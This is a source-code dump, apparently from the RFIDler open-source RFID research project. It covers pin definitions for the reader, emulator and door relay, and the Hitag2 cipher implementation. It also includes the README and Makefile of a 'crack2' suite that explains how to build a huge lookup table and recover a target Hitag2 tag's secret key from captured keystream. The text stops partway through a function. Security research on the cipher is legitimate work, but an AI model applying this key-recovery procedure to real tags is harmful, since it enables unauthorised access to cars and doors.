#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif
================================================
FILE: hitag2crack/crack2/Makefile
================================================
WARN=-Wall
INCLUDE=-I../include
CFLAGS=-c $(WARN) $(INCLUDE)
# Linux libs
LIBS=-pthread -D_GNU_SOURCE
# Mac libs
# LIBS=
all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o
cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS)
cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS)
ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h
cc $(CFLAGS) ht2crack2utils.c
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
cc $(CFLAGS) hitagcrypto.c
utilpart.o: utilpart.c util.h
cc $(CFLAGS) utilpart.c
clean:
rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest
fresh: clean all
================================================
FILE: hitag2crack/crack2/README
================================================
ht2crack2 suite
Build
-----
Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values.
These are important if you want it to run quickly. Ideally set DATAMAX to the largest value
that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of
virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >=
NUM_SORT_THREADS.
Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10.
The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines.
make clean
make
Run ht2crack2buildtable
-----------------------
Make sure you are in a directory on a disk with at least 1.5TB of space.
./ht2crack2buildtable
Wait a very long time. Maybe a few days.
This will create a directory tree called table/ while it is working that will contain
files that will slowly build up in size to approx 20MB each. Once it has finished making
these unsorted files, it will sort them into the directory tree sorted/ and remove the
original files. It will then exit and you'll have your shiny table.
Test with ht2crack2gentests
---------------------------
./ht2crack2gentests NUMBER_OF_TESTS
to generate NUMBER_OF_TESTS test files. These will all be named
keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE
Test a single test with
./runtest.sh KEYSTREAMFILE
or manually with
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE
or run all tests with
./runalltests.sh
Feel free to edit the shell scripts to find your tools. You might want to create a
symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the
table.
If the tests work, then the table is sound.
Search for key in real keystream
--------------------------------
Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had
to supply an NR value and you should know the tag's UID (you can get this using the RFIDler).
./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE
================================================
FILE: hitag2crack/crack2/hitagcrypto.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
//#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
((S >> (C - 3)) & 8) )
static uint32_t hitag2_crypt(uint64_t s)
{
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
uint32_t bitindex;
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
return (ht2_function5c >> bitindex) & 1;
}
/*
* Parameters:
* Hitag_State* pstate - output, internal state after initialisation
* uint64_t sharedkey - 48 bit key shared between reader & tag
* uint32_t serialnum - 32 bit tag serial number
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
*/
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
{
// init state, from serial number and lowest 16 bits of shared key
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
// mix the initialisation vector and highest 32 bits of the shared key
initvector ^= (uint32_t) (sharedkey >> 16);
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
// these will be XORed in turn with output of the crypto function
state |= (uint64_t) initvector << 48;
initvector >>= 16;
// unrolled loop is faster on PIC32 (MIPS), do 32 times
// shift register, then calc new bit
state >>= 1;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
// highest 16 bits of IV XOR Shared Key
state |= (uint64_t) initvector << 47;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
state ^= (uint64_t) hitag2_crypt(state) << 47;
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
pstate->shiftreg = state;
/* naive version for reference, LFSR has 16 taps
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
*/
{
// optimise with one 64-bit intermediate
uint64_t temp = state ^ (state >> 1);
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
^ (temp >> 42) ^ (temp >> 46);
}
}
/*
* Return up to 32 crypto bits.
* Last bit is in least significant bit, earlier bits are shifted left.
* Note that the Hitag transmission protocol is least significant bit,
* so we may want to change this, or add a function, that returns the
* crypto output bits in the other order.
*
* Parameters:
* Hitag_State* pstate - in/out, internal cipher state after initialisation
* uint32_t steps - number of bits requested, (capped at 32)
*/
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
{
uint64_t state = pstate->shiftreg;
uint32_t result = 0;
uint64_t lfsr = pstate->lfsr;
if (steps == 0)
return 0;
// commented out the restriction on number of steps so we can step further in one go.
// this still only returns 32 bits obviously
// if (steps > 32)
// steps = 32;
do {
// update shift registers
if (lfsr & 1) {
state = (state >> 1) | 0x800000000000;
lfsr = (lfsr >> 1) ^ 0xB38083220073;
// accumulate next bit of crypto
result = (result << 1) | hitag2_crypt(state);
} else {
state >>= 1;
